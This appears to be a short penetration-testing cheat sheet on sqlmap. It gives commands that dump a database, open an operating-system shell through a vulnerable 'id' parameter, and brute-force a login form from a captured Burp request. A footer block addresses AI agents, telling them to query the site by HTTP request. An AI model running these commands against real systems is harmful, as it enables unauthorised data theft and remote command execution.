# sqlmap

## Automate database dump:

`#`<mark style="color:green;">`sqlmap -u`</mark> [<mark style="color:green;">`http://10.10.10.10/debug.php?id=1`</mark>](http://10.10.10.10/debug.php?id=1) <mark style="color:green;">`-p “id” --dbms=mysql --dump`</mark>

<mark style="color:yellow;">--dbms</mark> is the backend database type

<mark style="color:yellow;">--dump</mark> to dump all.

### execute a shell:

`#`<mark style="color:green;">`sqlmap -u`</mark> [<mark style="color:green;">`http://10.10.10.10./debug.php?id=1`</mark>](http://10.10.10.10./debug.php?id=1) <mark style="color:green;">`-p “id” --dbms=mysql --os-shell`</mark>

## Login Portal, SQL Brute Force:

If you have a login prompt that you suspect may be injectable; then setup burp to capture the traffic. Next try to authenticate with`admin:admin` and capture it with burp. Copy the raw request into a file login.req. You may have to clean up the spacing of the request after the c\&p. Then hand it to sql map:\
`#`<mark style="color:green;">`sqlmap -r login.req`</mark>\
//this will auto brute sqli to attempt a login.

{% hint style="success" %}
More coming soon!
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.hackbook.io/web-application-hacking/web-techniques/sqli/hacking-sql/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
